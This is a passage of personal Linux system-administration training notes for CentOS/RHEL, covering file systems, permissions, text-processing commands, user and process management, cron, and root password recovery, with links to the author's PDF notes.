OS](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Parts+of+OS.pdf) [Virtual Memory](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module1/Virtual+memory.pdf) ### What is Linux? - Operating System which sites in the middle of your hardware and users ### Unix vs Linux - Unix was first developed for multi-user and multi-tasking in mid 1970 in Bell Labs by ATT. GE and MIT - Then linux was born in 1991 by Linus Torvalds - Linux is mostly free - Linux is open source - Unix is mostly used by Sun as Solaris, HP-UX, AIX etc. - Linux is used by developer communuty or companies (Redhat, CentOs, Debian) etc. - Unix comparitively supports very few File systems - Linux can be installed on a wide variety of computer hardware, ranging from mobile phones, tablets, video game consoles, to mainframes and supercomputers ## Module 2 - Download, Install and Configure [Oracle VirtualBox User Manual](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/Oracle+Virtual+Box+User+Manual.pdf) [Changing from 32 to 64bit](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/Changing-from-32-to-64bit.pdf) [CentOS Installation Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/CentOS+Installation+Guide.pdf) [RedHat 7 Install Guide](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module2/Red_Hat_Enterprise_Linux-7-Installation_Guide-en-US.pdf) ### Linux Distributions - Redhat - CentOS - Fedora - Suse - Debian - Ubuntu ### CentOS vs CentOS Stream - Brief history of CentOS - 2004 - Greg Kurtzer forked RHEL to CentOS - 2014 - RH took over CentOS - Community Enterprise Operating System - Before Feb 2021: > - Fedora \> RHEL \> CentOS - After Feb 2021: > - Fedora \> CentOS Stream \> RHEL ### Linux vs Windows | | Linux | Windows | |--------------|-----------------------------------------------|-----------------------------------------------------------------------| | Price | Free | \$\$\$ | | Ease | Not user-friendly | User friendly | | Reliability | Very reliable, often runs for months or years | Often requires reboot | | Software | Mostly enterprise level softwares | Much larger selection of softwares eg office, games, utilities, etc. | | Multitasking | Best for multi-tasking | Multi-tasking is available but with very high cpu or memory resources | | Security | Very secure | Somewhat secure | | Opensource | Open to public | Not an open source OS | ### Linux Users - US Government Agencies (National, State, Federal, and International) - NASA - Health Care - Bullet trains in Japan runs at the soeed of 150-215m/h - Traffic Control - Financial Institutes eg NYSE - Entertainment industries (cinemas, production houses, etc.) - World e-commerce leaders, including Amazon, eBay, PayPal, and Walmart - Other fortune 500 companies eg Google, IBM, McDonalds, Facebook etc. ## Module 3 - System Access and File System [Logging onto System](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/4-Logging+On+To+System.pdf) [File Names](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/7-File+Names.pdf) [Password Standards](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/8-Passwords+Standards.pdf) ### Network Commands - Centos/RHEL 5 or 6 was `ifconfig` - Centos/RHEL 7 is `ip` - Centos/RHEL 7.5 and up `ifconfig` has been deprecated - To use ifconfig in 7.5 use `yum install net-tools` ### Important Things - Linux has super user account called root > - root is the most powerful account that can create, modify, delete accounts and make changes to system configuration files - Linux is case-sensitive > - ABC is not the same as abc - Avoid using spaces when creating files and directories - Linux kernal is not an OS. It's a small software within linux OS that takes commands from users and pass them to system hardware or peripherals - Linux is mostly CLI not GUI - Linux is very flexible as compared to other OSs [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/3-Linux+vs+Windows.pdf) ### Linux File System - OS store data on disk drives using a structure called filesystem, consisting of files, directories, and the information needed to access and locate them - There are many different types of filesystems. In general improvements have been made to filesystems with new releases of OS and each new FS has been given a different name. Eg. ext3, ext4, XFS, NTFS, FAT etc. - Linux filesystems store info in a hierarchy of dirs and fiels. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/1-Linux+Structure.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/5-Linux+File+System.pdf) ### File System Structure ![linux file system structure](_images/linux-file-system-structure.png) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/6-File+System+Detail.pdf) ### File System Structure and its Description - /boot - contains file that is used by the boot loader (grub.cfg) - /root - root user home directory. It is not the same as / - /dev - system devices (eg. disk cdrom speakers flash drive keyboard) - /etc - configuration files - /bin \> / usr/bin - everyday user commands - /sbin \> /usr/sbin - system/filesystem commands - /opt - optional addon applications (not part of OS apps) - /proc - running processes (only exist in memory) - /lib \> usr/lib - C programming library needed by commands and apps (`strace -e open pwd`) - /tmp - dir for temp files - /home - dir for users - /var - system logs - /run - system daemons that start very early (eg. systemd and udev) to store runtime files like PID files - /mnt - to mount external filesystem (eg. NFS) - /media - for cdrom mounts ### File System Navigation - When navigating a UNIX filesystem, there are a few important commands > - `cd` - stands for change directory. It is the primary command for moving you arount the filesystem > - `pwd` - stands for print working directory. It tells you where you current location is. > - `ls` - stands for list. It lists all the directories/files within a current working dir ### What is Root? - There are 3 types of root on a Linux system > - Root account: root is an account or username on Linux machine and is the most powerful account which has access to all commands and files > - Root as /: the very first dir of Linux also referred as root directory > - Root home directory: the root user account also has a dir located in /root which is called root home dir ### File System Paths - There are two paths to navigate to a filesystem > - Absolute path > - Relative path - An absolute path always begins with a `/`. This indicates that the path starts at the root directory. An example of an absolute path is `cd /var/log/samba` - A relative path does not begin with a `/`. It identifies a location relative to your current position. An example of a relative path is `cd /var` and `cd log` `cd samba` ### Directory Listing Attributes ![linux directory listing attributes](_images/linux-directory-listing-attributes.png) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/13-List+files+and+directories.pdf) ### Creating Files and Directories - Creating files > - touch > - cp > - vi - Creating directories > - mkdir ### Copying Directories - Command to copy a directory > - `cp` - To copy a directory on Linux, you have to execute the `cp` command with the `-R` option for recursive and specify the source and destination directories to be copied > - `cp -R ` ### Linux File Types | File Symbol | Meaning | |-------------|-----------------------------| | dash | Regular file | | d | Directory | | l | link | | c | Special file or device file | | s | socket | | p | Named pipe | | b | Block device | ### Finding Files and Directories - Two main commands are useful to find files/directories > - `find` (`find . -name "test"`) > - `locate` (`locate test`) - If `locate` command doesnt output any result, then as rute run `updatedb` - Also make sure you have `mlocate` package installed - To check run `rpm -qa \| grep mlocate` - To install run `yum install mlocate` ### Difference Between find and locate - `locate` uses a prebuilt database, which should be regularly updated, while `find` iterates over a filesystem to locate files. Thus, locate is much faster than find, but can be inaccurate if the database (can be seen as a cache) is not updated - To update the locate database run `updatedb` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/10-Difference-between-locate-and-find-command-in-Linux.pdf) ### Changing Password - You should change your initial password as soon as you login - Command = `passwd userid` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/9-Change+Password+in+Linux.pdf) ### Wildcards A wildcard is a character that can be used as a substitute for any of a class of characters in a search - `*` represents zero or more characters - `?` represents a single character - `[]` represents a range of characters (`ls -ltr *[cd]*`) - `{}` range of fiels to create - backslash as an escape character - `^` the beginning of a line - `$` the end of a line [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/11-Wildcards.pdf) ### Soft and Hard Links - inode = Pointer or number of a file on the hard disk - Soft Link = Link will be removed if file is removed or renamed - Hard Link = Deleting renaming or moving the original file will not affect the hard link > - `ln` (hard link) > - `ln -s` (soft link) ![linux soft and hard links](_images/linux-soft-and-hard-links.png) - Note: you cannot create a soft or hard link within the same directory with the smae name. - Hard links only work within the same partition [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module3/12-Soft+Link+and+Hard+Links.pdf) ## Module 4 - Fundamentals ### Commands Syntax - Command options and arguments > - Commands typically have the syntax: > > > - command options arguments - Options > - Modify the way that a command works > - Usually oly consist of a hyphen or dash followed by a single letter > - Some commands accept multiple options which can usually be grouoped together after a single hypghen - Arguments: > - Most commands are used together with one or more arguments > - Some commands assume a default argument if none is supplied > - Arguments are optional for some commands and required by others [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/1-Command+Syntax.pdf) ### File Permissions - UNIX is a multi-user system. Every file and directory in your account can be protected from or made accessible to other users by changing its access permissions. Every user has responsibility for controlling access to their files. - Permissions for a file or directory may be restricted to by types - There are 3 types of permissions > - r - read > - w - write > - x - execute (running a program) - Each permission (rwx) can be controlled at three levels > - u - user (yourself) > - g - group (can be people in the same project) > - o - other (everyone in the system) - File or Directory permission can be displayed by running `ls -l` command > - -rwxrwxrwx - Command to change permission > - `chmod` - Remove read rights from group: `chmod g-r file` - Remove read rights from all (other): `chmod a-r file` - Remove write rights from user: `chmod u-w file` - Add read and write rights to user on file: `chmod u+rw file` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/2-File+Permissions+and+Ownership.pdf) ### File Permissions using Numeric Mode - Permission to a file and directory can be assigned numerically > - `chmod ugo+r file` > - or `chmod 444 file` ![linux file system permissions](_images/linux-file-system-permissions.png) - The table below assigns numbers to permissions types | Number | Permission Type | Symbol | |--------|-----------------------|--------| | 0 | No Permission | --- | | 1 | Execute | --x | | 2 | Write | -w- | | 3 | Execute + Write | -wx | | 4 | Read | r-- | | 5 | Read + Execute | r-x | | 6 | Read + Write | rw- | | 7 | Read +Write + Execute | rwx | - \`chmod 764 file\`: ![linux file system permissions](_images/linux-file-system-permissions-2.png) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/11-File+Permissions+Cheat+Sheet.pdf) ### File Ownership - There are 2 owners of a file or directory > - User and group - Command to change file ownership > - chown and chgrp > > > - chown changes the ownership of a file > > - chgrp changes the group ownership of a file - Recursive ownership change option (cascade) > - -R ### Access Control List - What is ACL? > - Access control list (ACL) provides an additional, more flexible permission mechanism for file systems. It is designed to assist with UNIX file permissions. ACL allows you to give permissions for any user or group to any disc resource. - Use of ACL: > - Think of a scenario in which a particular user is not a member of a group created by you but you still want to give some read or write access, how can you do it without making user a member of a group, here comes in picture ACL, CAL helps us to do this trick. > > - Basically, ACLs are used to make a flexible permission mechanism in Linux. > > - From Linux man pages, ACLs are used to define more fine-granied discretionary access rights for files and directories > > - Commands to assign and remove ACL permissions are: > > > - `setfacl` and `getfacl` - List of commands for setting up ACL: > - to add permission for a user (`setfacl -m u:user:rwx /path/to/file`) > > - to add permissions for a group (`setfacl -m g:group:rw /path/to/file`) > > - to allow all files or directories to inherit ACL entries from the directory it is within (`setfacl -Rm "entry" /'path/to/dir'`) > > - To remove a specific entry (`setfacl -x u:user /path/to/file` (for a specific user)) > > - To remove all entries (`setfacl -b path/to/file` (for all users)) > > - Note: > > > - As you assign the ACL permission to a file/directory it adds + sign at the end of the permission > > - Setting w permission with ACL does not allow to remove a file [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/12-Access+Control+Lists.pdf) ### Help Commands - There are 3 types of help commands > - `whatis` command > - command `--help` > - `man` command [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/3-Getting+Help.pdf) ### Tab Completion and Up Arrow - Hitting TAB key completes the available commands, files, or directories > - `chm TAB` > - `ls j` > - `cd Des` - Hitting up arrow key on the keyboard returns the last command run [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/4-TAB+Completion.pdf) ### Adding Text to Files (Redirects) - 3 Simple ways to add text to a file > - vi > - Redirect command output \> or \>\> > - echo \> or \>\> [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/5-Adding+Text+to+Files.pdf) ### Input and Output Redirects - There are 3 redirects in Linux > - Standard input (stdin) and it has file descriptor number as 0 > - Standard output (stdout) and it has file descriptor number 1 > - Standard error (stderr) and it has file descriptor number as 2 - Output (stdout) -1 > - By default when running a command its output goes to the terminal > > - The output of a command can be routed to a file using \> symbol > > > - eg. `ls -l > listings` > > - `pwd > findpath` > > - If using the same file for additional output or to append to the same file then use \>\> > > > - eg. `ls -la >> listings` > > - `echo "Hello World" >> findpath` - Input (stdin) -0 > - Input is used when feeding file contents to a file > > > - eg. `cat < listings` > > - `mail -s "office memo" contact@calebsargeant.com < momoletter` - Error (stderr) - 2 > - When a command is executed we use a keyboard and that is also considered (stdin -0) > > - That command output goes on the monitor that outpit is (stdout -1) > > - If the command produced any error on the screen then it is considered (stderr -2) > > > - We cna use redirects to route errors from the screen > > > > > - eg. `ls -l /root 2> errorfile` > > > - `telnet localhost 2> errorfile` ### Standard Output to a File (tee) - `tee` command is used to store and view (both at the same time) the output of any command - The command is named after the T-splitter used in plumbing. It basically breaks the output of a program so that it can be both displated and saved in a file. It does both the tasks simultaneously, copies the result into the specified file or variables and also displays the result. - Remember `-a` appends ### Pipes - A pipe is used by the shell to connec the output of one command directly to the inout of another file - The symbol for a pipe is the vertical bar (`\|`). The command syntax is: > - command 1 \[arguments\] \| command2 \[arguments\] [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/6-Pipes.pdf) ### File Maintenance Commands - `cp` - `rm` - `mv` - `mkdir` - `rmdir` or `rm -r` - `chgrp` - `chown` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/7-File+Maintenance+Commands.pdf) ### File Display Commands - `cat` - `more` - `less` - `head` - `tail` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/8-File+Display+Commands.pdf) ### Filters / Text Processors Commands - `cut` - `awk` - `grep` and `egrep` - `sort` - `uniq` - `wc` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/9-Filters-Text+Processing+Commands.pdf) ### Cut - Cut is a comman d line utility that allows you to cut parts of lines from specified files or piped data and print the result to standard output. It can be used to cut parts of a line by delimiter, byte position, and character - `cut filename` does not work - `cut --version` - `cut -c1 file` - gets the first character from each line - `cut -c1,2,4 file` - pick and choose character - `cut -c1-3 file` - list range of characters - `cut -c1-3,6-8 file` - list specific range of characters - `cut -b1-3 file` - list byte size - `cut -d: -f 6 /etc/passwd` - list first 6th column seperated by : - `cut -d: -f 6-7 /etc/passwd` - list first 6th and 7th column sperated by : - `ls -l \| cut -c-4` - only print user permissions of files/dir ### Awk - awk is a utility/language designed for data extraction. Most of the time it is used to extract fields from a file or from an output. - `awk --version` - check version - `awk '{print $1}' file` - list 1st field from a file - `ls -l \| awk '{print $1,$3}'` - list 1st and 3rd field of ls -l output - `ls -l \| awk '{print $NF}'` - last filed of the output - `awk '/Jerry/ {print}' file` - search for a specific word - `awk -F: '{print $1}' /etc/passwd` - output only 1st field of /etc/passwd - `echo "Hello Tom" \| awk '{$2="Adam"; print $0}'` - replace words field words - `cat file \| awk '{$2="Caleb"; print $0}'` - replace words field words - `awk 'length($0) > 15' file` - get lines that more that 15 byte size - `ls -l \| awk '{if($9 == "caleb") print $0;}'` - get the field matching caleb in /home/caleb - `ls -l \| awk '{print NF}'` ### Grep/Egrep - What is grep? > - the grep command which stands for "global regular expression print", processes text line by line and prints any lines which match a specified pattern - `grep --version` or `grep --help` - `grep keyword file` - search for a keyword from a file - `grep -c keyword file` - search for a keyword and count - `grep -i keyword file` - search for a keyword ignore case-sensitive - `grep -n keyword file` - display the matched lines and their line numbers - `grep -v keyword file` - display everything but keyword - `grep keyword file \| awk '{print $1}'` - search for a keyword and then only give 1st field - `ls -l \| grep Desktop` - search for a keyword and then only give 1st field - `egrep -i "keyword\|keyword2" file` - search for 2 keywords [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module4/10-Finding+System+Information.pdf) ### Sort/Uniq - What are sort and uniq commands? > - Sort command sorts in alphabetical order > - Uniq command filters out the repeated or duplicate lines - `sort --version` or `sort --help` - check version or help - `sort file` - sorts in alphabetical order - `sort -r file` - sorts in reverse alphabetical order - `sort -k2 file` - sort by field number - `uniq file` - removes duplicates - `sort file \| uniq` - always sort first before using uniq their line numbers - `sort file \| uniq -c` - sort first then uniq and list count - `sort file \| uniq -d` - only show repeated lines ### Wc - What is wc command? > - The command reads either standard input or a list of files and generates: newline count, word count, and byte count - `wc --version` or `wc --help` - check version or help - `wc file` - check file line count, word count and byte count - `wc -l file` - get the number of lines in a file - `wc -w file` - get the number of words in a file - `wc -b file` - get the number of bytes in a file - `wc DIRECTORY` - not allowed - `ls -l \| wc -l` - number of files - `grep keyword \| wc -l` - number of keyword lines ### Compare Files - `diff` (line by line) - `cmp` (byte by byte) ### Compress and un-Compress Files - `tar` - `gzip` - `gzip -d` or `gunzip` ### Truncate File Size - The linux `truncate` command is often used to shrink or extend the size of a file to the specified size - Command > - `truncate -s 10 filename` ### Combining and Splitting Files - Multiple files can be combined into one and - One file can be split into multiple files > - `cat file1 file2 file3 > file4` > - `split file4` > - e.g. `split -l 300 file.txt childfile` - split file.txt into 300 lines per file and output to childfileaa, childfileab, and childfileac ### Linux vs Windows Commands | Command Description | Windows | Linux | |-------------------------------------------|------------|-------------| | Listing of a directory | dir | ls -l | | Rename a file | ren | mv | | Copy a file | copy | cp | | Move a file | move | mv | | Clear screen | cls | clear | | Delete file | del | rm | | Compare contents of files | fc | diff | | Search for a word/string in a file | find | grep | | Display command help | command /? | man command | | Displays your location in the file system | chdir | pwd | | Displays the time | time | date | ## Module 5 - System Administration ### Linux File Editor (vi) - A text editor is a program which enables you to create and manipulate data (text) in a Linux file - There are several standard text editors available on most Linux systems > - `vi` - Visual editor > - `ed` - Standard line editor > - `ex` - Extended line editor > - `emacs` - A full screen editor > - `pico` - Begginers editor > - `vim` - Advanced version of vi - Our editor = vi (available in almost every Linux distribution) - vi supplies commands for: > - inserting and deleting text > - replacing text > - moving around the file > - finding and substituting strings > - cutting and pasting text - Most common keys: > - i - insert > - Esc - escape out of any mode > - r - replace > - d - delete > - :q! - quit without savinbg > - :wq! - quit and save [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/1-vi+Commands.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/5-Unix+Editors.pdf) ### Difference Between vi and vim Editor - As far as functionality is concerned, both editors work in the same manner. Which editor you choose is a matter of personal choice. Some people recommend learningh the vim editor instead of the vi editor. Due to added features, learning and using vim editor is much easier than the vi editor. - Since vim is based on the vi, when you will learn how to use the vim editor, you will automaticall learn how to use the vi editor - vim has all the features as vi with some excellent addition - There's also a comprehensive help system and lots of customization options available. ![linux vi vs vim](_images/linux-vi-vs-vim.png) - There are many websites taht offer free vim interactive training > - > - > - (games) ### Sed Command - Replace a string in a file with a newstring > - `sed 's/Kenny/Lenny/g' file` - output to console > - `sed -i "s/Kenny/Lenny/g" file` - make changes to file > - `sed 's/Costanza//g'` - remove the word Costanza - Find and delete a line > - `sed '/Caleb/d' file` - Remove empty lines > - `sed '/^$/d'` - Remove the first or n lines in a file > - `sed '1d' file` - delete first line > - `sed '1,2d' file` - delete first 2 lines - To replace tabs with spaces > - `sed 's/t/ /g'` - Show defined lines from a file > - `sed -n 12,18p file` - show only lines 12 to 18 > - `sed 12,18d file` - show all but lines 12 to 18 > - `sed G file` - add a linebreak to every line > - `sed '8!s/Caleb/C/g' file` - change all lines except line 8 - Substitute wining vi editor > - `:%s/Caleb/Peter/` ### User Account Management Commands: - useradd - groupadd - userdel - groupdel - usermod Files: - /etc/passwd - /etc/group - /etc/shadow Example: ``` bash useradd -g superheros -s /bin/bash -c "user description" -m -d /home/spiderman spiderman ``` [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/2-User+Account+Management.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/3-User+Accounts+in+Linux.pdf) ### Enable Password Aging - chage \[-m mindags\] \[-M maxdays\] \[-d lastday\] \[-I inactive\] \[-E expiredate\] \[-W warndays\] user - File = /etc/login.def > - PASS_MAX_DAYS 99999 > - PASS_MIN_DAYS 0 > - PASS_MIN_LEN 5 > - PASS_WARN_AGE 7 Check /etc/shadow for the position: - -d = 3. Last password change (lastchanged): Days since Jan 1, 1970 that password was last changed - -m = 4. Minimum: the minimum number of days requred between password changes i.e. the number of days left before the user is allowed to change his/her password - -M = 5. Maximum: the maximum number of days the password is valid (after that the user is forced to change the password) - -W = 6. Warn: The number of days before password is set to expire that the user is warned that the password must be changed - -I = 7. Inactive: The number of days after password expires that the account is disabled - -E = 8. Expire: days since Jan 1, 1970 that account is disabled i.e. an absolute date specifying when the login may no longer be used ### Switch Users and Sudo Access Commands: - su - username - sudo command - visudo File - /etc/sudoers [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/4-Switch+users+and+Sudo+Access.pdf) ### Monitor Users - who - last - w - finger - id. [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/6-Monitor+User+Commands.pdf) ### Talking to Users - users - wall - write ### Linux Account Authentication - Type of Accounts > - Local accounts > - Domain/Directory accounts - Windows = active directory ### Difference between AD, LDAP, IDM, WinBIND, OpenLDAP, etc. - Active Directory = Microsoft - IDM = Identity Manager (Redhat) - WinBIND = Used in Linux to communicate with Windows (samba) - OpenLDAP (open source) - IBM Directory Server - JumpCloud - LDAP = Lightweight Directory Access Protocol (not a package, but a protocol) ### System Utility Commands - date - uptime - hostname - uname - which - cal - bc ![15 uptime](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/15-uptime.jpg) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/7-System+Utility+Commands.pdf) ### Processes and Jobs - Application = Service - Script - Process - Daemon - Threads - Job - systemctl or service - ps - top - kill - crontab - at [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/8-Processes.pdf) [more notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/9-Unix+Programs.pdf) ### Systemctl Command - systemctl command is a new tool to control system services - It's available in version 7 and later it replaces the service command - Usage example: > - `systemctl start\|stop\|status servicename.service` > > - `systemctl enable servicename.service` > > - `systemctl restart\|reload servicename.service` > > - `systemctl list-units --all` > > > - The output has the following columns: > > > > > - **UNIT**: the systemd unit name > > > - **LOAD**: Whether the unit's configuration has been parsed by systemd. The configuration of loaded units is kept in memory > > > - **ACTIVE**: A summary state about whether the unit is active. This usually a fairly basic way to tell if the unit has started successfully or not. > > > - **SUB**: this is a lower-level state that indicates more detailed information about the unit. THis often varies by unit type, state, and the actual method in which the unit runs. > > > - **DESCRIPTION**: A short textual description of what the unit is/does. - To add a service under systemctl management: > - Create a unit file in /etc/systemd/system/servicename.service - To control system with systemctl > - `systemctl poweroff` > - `systemctl halt` > - `systemctl reboot` ### ps Command - ps command stands for process status and it displays all the currently running processes in the Linux system - Usage examples: > - ps = shows the processes of the current shell > > > - **PID** = the unique process ID > > - **TTY** = terminal type that the user logged in to > > - **TIME** = amount of CPU in mins and secs that the prcess has been running > > - **CMD** = name of the command - `ps -e` = shows all running processes - `ps aux` = shows all running processes in BSD format - `ps -ef` = shows all running processes in full format listing (most commonly used) ### top Command - top command is used to show the Linux process and it provides a real-time view of the running system - This command shows the summary information of the system and the list of process or threads that are currently managed by the Linux Kernal - When the top command is executed then it goes into interactive mode and you can exit using q - Usage: top > - **PID**: shows task's unique process ID > - **USER**: usertname of owner of task > - **PR**: The PR field shows the scheduling priority of the process from the perspective of the kernel > - **NI**: Represents a Nice Value of task. A negative nice value implies higher priority, and positive Nice value means lower priority. > - **VIRT**: Total virtual memory used by the task > - **RES**: Memory consumed by the process in RAM > - **SHR**: Represents the amount of shared memory used by a task > - **S**: This field shows the process state in the single-letter form > - **%CPU**: represents the CPU usage > - **%Mem**: shows the memory usage of task > - **TIME+**: CPU Time, the smae as TIME, but reflecting more granualarity through hundredths of a second - top -u caleb = shows tasks/processes by user owned - top then press c = shows commands absolute path - top then press k = kill a process by PID within top session - top the M and P = to sort all linux running processes by Memory usage [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/13-top+command.pdf) ### kill Command - kill command is used to terminate process manually - It sends a signal which ultimately terminates or kills a particular process or group of processes - Usage: `kill [OPTION] [PID]` - kill -l = to get a list of all signal names or signal numbers - Most used signals are: > - kill PID = kill a process with default signal > - kill -1 = restart > - kill -2 = interupt from the keyboard just like ctrl C > - kill -9 = forcefully kill the process > - kill -15 = kill a process gracefully - Other similar kill commands are: > - killall > - pkill ### crontab Command - Crontab command is used to schedule tasks - Usage: > - crontab -e = edit the crontab > - crontab -l = list the crontab entries > - crontab -r = remove the crontab > - crond = crontab daemon/service that manages scheduling > - systemctl status crond = manage the crond service ![linux crontab](_images/linux-crontab-1.png) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/10-crontab.pdf) ### at Command - at command is like crontab which allows you to schedule jobs only once - When the command command is run it will enter interactive mode and you can get out by pressing ctrl d - Usage: > - `at HH:MM PM` = schedule a job > - `atq` = list the at entries > - `atrm \#` = remove at entry > - `atd` = at daemon/service that manages scheduling > - `systemctl` status atd = to manage the atd service - Other future scheduling format: > - at 2:45 am 101621 > - at 4pm + 4 days > - at now + 5 hours > - at 80:00 am sun > - at 10:00 am next month ### Additional Cron Jobs - By default there are 4 different types of cronjobs > - Hourly > - Daily > - Weekly > - Monthly - All the above crons are setup in > - /etc/cron.\_ (directory) - The timing for each are set in > - /etc/anacrontab -- except hourly - For hourly > - /etc/cron.d/0hourly ### Process Management - Background = `ctrl-z, jobs and bg` - Foreground = `fg` - Run process even after exit = `nohup process &` > - OR = `nohub process > /dev/null 2>&1 &` - Kill a process by name = `pkill` - Process priority = nice (e.g. `nice -n 5 process`) > - the niceness scale goes from -20 to 19. The lower the number more priority that task gets - Process monitoring = `top` - List process = `ps` ### System Monitoring - top - df - dmesg - iostat 1 - netstat (netstat -rnv) - free - cat /proc/cpuinfo - cat /proc/meminfo [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/11-System+Resource+Commands.pdf) ### Log Monitoring - Another and most important way of system administration is log monitor - Log Directory = /var/log > - boot > - chronyd = NTP > - cron > - maillog > - secure > - messages > - httpd ### System Maintenance Commands - shutdown - init - reboot - halt ### Changing System Hostname - hostnamectl - set-hostname newhostname - Version 7 = edit /etc/hostname - version 6 = edit /etc/sysconfig/network ### Finding System Information - cat /etc/redhat-release - uname -a - dmidecode ### System Architecture - Differences between a 32-bit and 64-bit CPU A big difference between 32-bit processors and 64-bit processors is the number of calculations per second they can perform, which affects the speed at which they can complete tasks. 64-bit processors can come in dual core, quad core, six core, and eight core versions for home computing. Multiple cores allow for an increased number of calculations per second that can be performed, which can increase the processing power and help make a computer run faster. Software programs that require many calculations to function smoothly can operate faster and more efficiently on the multi-core 64-bit processors. - Linux = arch - Windows = My Computer -\> Properties ### Terminal Control Keys - Several key combinations on your keyboard usually have a special effect on the terminal - These "control" (CTRL) keys are accomplished by holding the CTRL key while typing the second key - For example, CTRL-c means to hold the CTRL key while typing the letter "c" - The most common control keys are listed below: > - CTRL-u = erase everything you've typed on the command line > - CTRL-c = stop/kill a command > - CTRL-z = suspend a command > - CTRL-d = exit from an interactive program (signals end of data) [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/12-Terminal+Control+Keys.pdf) ### Terminal Commands - clear (clears your screen) - exit (exit out of the shell, terminal or user session) - script (the script command stores terminal activites in a log file that can be named by a user, when a name is not provided by a user, the default file name, typescript is used) ### Recover Root Password - restart your computer - edit grub - change password - reboot - look for "ro" at the bottom and replace with: - rw init=/systoot/bin/sh - ctrl x - chroot /sysroot - passwd root - exit - reboot [notes](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/training/module5/14-Recover+Root+Password.pdf) ### SOS Report - What is SOS Report? > - Collect and package diagnostic and support data - Package name > - sos-version - Command > - `sosreport` ### Environment Variables - What are environment variables? > - AN environment variable is a dynamic-named value that can affect the way running processes will behave on a computer. THey are part of the environment in which a process runs > - In simple words, a set of defined rules and values to build an environment - To view all environment variables > - `printenv` or `env` - To view all environment variables > - `echo $SHELL` - To set the environment variables > - `export TEST=1` > - `echo $TEST` - To set environment variable permanently > - `vi .bashrc` > - `TEST=123` > - `export TEST` - To set global environment variable permanently > - `vi /etc/profile`` or `/etc/bashrc\` > - `Test=123` > - `export TEST` ### Special Permissions - All permissions on a file or directory are referred as bits ![linux special permissions](_images/linux-special-permissions.png) - There are additional permissions in Linux: > - **setuid**: bit tells Linux to run a program with the effective user id of the owner instead of the executor (eg `passwd` command) -\> /etc/shadow > - **setgid**: bit tells LInux to run a program with the effective group id of the owner instead of the executor (eg `locate` or `wall` command). Please note that this bit is present for only files which have executable permissions > - **sticky bit**: a bit set on files/directories that allows only the owner or root to delete those files - To assign special permissions at the user level: > - `chmod u+s xyz.sh` - To assign special permissions at the group level > - `chmod g+s xyz.sh` - To remove special permissions at the user or group level > - `chmod u-s xyz.sh` > - `chmod g-s xyz.sh` - To find all executables in Linux with setuid and setgid permissions > - `find / -perm /6000 -type f` - Sticky Bit - it is assigned to the last bit of permissions > - 